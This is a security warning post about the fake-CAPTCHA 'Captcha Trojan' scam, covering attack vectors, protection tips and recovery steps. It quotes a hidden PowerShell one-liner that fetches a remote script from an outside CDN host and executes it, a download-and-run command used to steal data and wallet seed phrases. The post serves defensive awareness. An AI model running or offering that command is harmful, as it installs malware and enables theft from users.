🚨 CAPTCHA TROJAN ALERT: Stop PowerShell Malware, Crypto Hacks & System Takeover (Windows + R / Ctrl + V)

Beware of the Captcha Trojan: A Growing Cybersecurity Threat

Introduction

In the ever-evolving landscape of cybersecurity threats, a new and sophisticated attack method has emerged: the Captcha Trojan. This malware exploits unsuspecting users by deceiving them into executing malicious commands on their system. The repercussions of falling victim to this scam can be devastating, leading to data breaches, financial losses, and complete system control by cybercriminals.

How the Captcha Trojan Works

This scam primarily targets users by prompting them to execute a command through the Windows Run dialog (Windows + R). Once the command is pasted (Ctrl + V) and executed (Enter), a PowerShell script is initiated.

Example of the Malicious Command:

powershell.exe -W Hidden -command $url = 'https mega01.b-cdn.net/meg.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text

This command downloads and executes a remote script that can:

Harvest your system data
Steal cryptocurrency wallet paraphrases (12 or 16 words)
Access email accounts, websites, and applications
Gain full control over Windows, Android, iOS, and other operating systems

Common Attack Vectors

Fake Captchas – Fraudulent websites trick users into thinking they need to verify their identity.
Compromised WordPress Websites – If you own a WordPress website and see this scam appearing, inspect your theme and plugin files.
Phishing Emails – Users receive emails instructing them to execute the malicious command.
Infected Advertisements – Ads on less-secure websites may redirect users to malicious pages.

How to Protect Yourself

DO NOT execute unknown PowerShell commands
Avoid clicking on suspicious links
Use strong and updated security software
Inspect WordPress sites if you own one (check themes and plugins for unauthorized changes)
Monitor network activity to detect unusual outbound connections
Enable multi-factor authentication (MFA) on critical accounts
Educate yourself and others about social engineering tactics

What to Do If You Are Infected?

If you suspect that you have fallen victim to this attack, follow these immediate steps:

Disconnect from the Internet to prevent further data transmission.
Run a Full Malware Scan using security tools like Malwarebytes or Windows Defender.
Change all sensitive passwords, including crypto wallets, emails, and banking credentials.
Inspect your installed software and browser extensions for suspicious items.
Restore from a Clean Backup if you notice unauthorized access or data corruption.
